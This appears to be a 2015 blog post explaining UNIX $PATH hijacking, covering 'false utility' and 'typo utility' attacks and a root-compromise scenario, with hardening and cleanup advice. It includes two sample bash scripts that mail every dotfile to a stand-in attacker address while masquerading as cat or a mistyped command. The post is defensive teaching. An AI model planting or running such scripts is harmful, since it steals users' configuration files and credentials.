Feb 27, 2015 Tags: programming, security
Of all of the commonalities across UNIX, UNIX clones, and UNIX-like environments,
few are as well defined and regular as the shell $PATH
variable.
For regular users, $PATH
usually defaults to something along the lines of
/bin:/usr/bin:/usr/local/bin
, the three directories most commonly used to store
everyday, system-wide programs. This is a fairly reasonable default, as most* systems
do not allow unprivileged users to write to any of these directories.
Superusers usually have a similar $PATH
, but with the /sbin, /usr/sbin, and
/usr/local/sbin directories mixed in as necessesary. This is also fairly resonable,
as the sbin directories are generally recognized as the standard location for
administrative and system utilities (FHS 2.3 §13.15.1).
The problem arises when users configure their $PATH
to something like this:
1
export PATH=.:$PATH
or like this:
1
export PATH=$HOME/bin:$HOME/scripts:$PATH
or any combination of the above. This is actually fairly common, and opens the user
to two similar (but distinct) attacks: ‘false’ utilities and ‘typo’ scripts.
These seemingly innocuous changes can even expose superuser accounts, especially
the addition of the current working directory (“.”) to the $PATH
.
False utility attacks involve placing a script or program with a common name in one of the user-writeable paths, like /home/foo/bin, assuming “foo” is our user. For example, an attacker might save this script as /home/foo/bin/cat:
1
2
3
4
5
6
7
#!/usr/bin/env bash
for file in ~/.* ; do
mail badguy@example.com < "$file"
done
cat $@
Because the user’s $PATH
specifies the home directory’s bin before the
(protected) standard directories, their shell will execute /home/foo/bin/cat
instead of
/bin/cat
whenever cat
is typed. Everything will look fine to “foo” because of
the final cat $@
command but, in reality, all of his or her configuration files
are being mailed to “badguy”.
Note: In case it wasn’t obvious, the choice of mail
and the ~/.*
glob is
purely arbitrary. Any network utility can be used, including curl
for
posting to a malicious server or even telnet
or netcat
for raw transactions.
Luckily for us, this attack only works when user-writeable directories are
prefixed onto the $PATH
. By suffixing our directories to the $PATH
like this:
1
export PATH=$PATH:$HOME/bin
we can avoid most variants of this attack. Unfortunately, not all users have the
forethought to suffix their $PATH
and administrators should therefore provide
specific instructions and/or checks on $PATH
modification.
The above change stops maliciously-named scripts and programs from taking precedence
over the expected program, but it doesn’t stop another major type of attack
enabled by the $PATH
, facilitated by user typos.
Like the false utiity attack, the typo utility attack relies on the fact
that all executable files present in the $PATH
are executed if called, regardless
of how unusual their names are (excluding, of course, NULL bytes and extra slashes).
This means that an attacker can write a script and save it with a utility’s name,
with a slight typo. For example, ls
might become
/home/foo/bin/sl †, and more
might become /home/foo/bin/mroe.
A malicious typo utility might look like this:
1
2
3
4
5
6
7
8
#!/usr/bin/env bash
# just like the previous example
for file in ~/.* ; do
mail badguy@example.com < "$file"
done
command_not_found_handle $0 2>&1 | tail -n 1 1>&2
If this example looks familiar, it’s because it is. It’s exactly identical to
the example above, except for in one feature: instead of executing the real
utility afterwards to hide its existence, this script invokes command_not_found_handle
with its own name.
command_not_found_handle
is a bash
function that simply
reports the absence of its first argument on the $PATH
. By explicitly passing
$0
to it, trimming to the last line, and redirecting back to standard error, we
can simulate the error message expected by the user after making a typo.
For example, if the above was saved as /home/foo/bin/mroe, a session might look like this:
1
2
3
$ mroe file.txt # oops!
mroe: command not found # mroe was found, but the user doesn't know that
$ # back to work
This has several benefits over the false utility approach:
which
or whereis
for typos.$PATH
changes, as there are no real utilities with typo-names.command_not_found_handle
).On the other hand, if the user regularly checks their home bin directory, they’re just as likely to discover and delete it as if it were a false utility.
It is my firm opinion that the $PATH
should never, ever be modified on a
superuser or root account.
This is especially true for relative directories in the $PATH
.
As bad as they are in normal accounts, they are an entirely
different nightmare on an account with superuser privileges. For example, imagine
the following scenario:
Your friendly administrator has decided to add “.” to their
$PATH
to make their job easier.
User baz, who doesn’t like the admin, has put two files in a directory they own.
One is named ls, and contains malicious instructions and a command to delete itself. The other is a random file that baz has removed their own permissions from.
“Help!,” says baz, “I can’t delete this file!”
The administrator, as superuser, goes to baz’s directory, runs
ls
to see the file, and deletes it.
So, what happened?
Well, because the administrator’s $PATH
contained “.”, they ended up executing
the local ls instead of the expected /bin/ls
. The malicious script was well
designed and ran its own commands, then the real ls
, then deleted itself.
As a result, baz now has access to the admin’s account or whatever data they might
have wanted, and there is no trace of the fake ls.
Fixing an account (or entire system) after this sort of attack can take anywhere from a few minutes to several days, especially if the administrator was the one attacked.
The order of these steps varies depending on the type and depth of the attack, but each should be covered while attempting to clean the account:
$PATH
to the standard one.$PATH
, scan each for unusual
files, typo names (indicative of the “typo” attack), or changes. The simplest and
best course of action may just be to restore from backups or diff
against them.In summary, the $PATH
is a tricky thing. It makes UNIX and Linux systems
very powerful and easy to extend, but it also gives users an easy way to shoot
themselves (and other users) in the foot.
Administrators of multi-user systems would be wise to automatically filter the
$PATH
s of their users, preventing user-owned directories from coming first.
Similarly, admins might override the $PATH
entirely and lock it to controlled
directories.
For those who are less authoritarian or more confident in their users, a possible
solution is to allow arbitrary changes to the $PATH
so long as those changes
do not include directories that would override programs on the standard $PATH
and, optionally, restrict the working directory from the $PATH
.
Hopefully this post has made you more aware of the potential dangers of modifying
the $PATH
. However, please don’t go and delete your ~/bin folder, because that’s not
the point of the lesson. I use one, and they are convenient.
Instead, you should make sure that you aren’t exposing yourself to excessive
risk, primarily by keeping your personal changes on the end of the $PATH
and not the beginning. Furthermore, you should periodically check those
directories for modifications or files to you did not add, especially after using
custom installers for software.
Happy Hacking!
- William
Postnotes:
* On OS X installations using Homebrew, Homebrew chown
s the /usr/local directory
to the installing user, and makes subdirectories like /usr/local/bin and
/usr/local/lib writeable by that user. Homebrew claims that this is justified
as an attack/accident reduction strategy against poorly designed or malicious
build processes, which is a reasonable claim.
However, it is important to note that this essentially exposes what is
normally a protected directory to malicious and typo ‘utility’ attacks,
especially if /usr/local/bin is placed before /bin and /usr/bin on the
$PATH
.
This is potentially even more dangerous than working directory or $HOME
-based
utility injections, as an unsuspecting user is far more likely to trust a program
in an “official” directory like /usr/local/bin.
† sl
is actually a humorous utility
by Toyoda Masashi that
demonstrates this flaw, albiet in a humorous fashion. You can either build it from
source or install it from your package manager.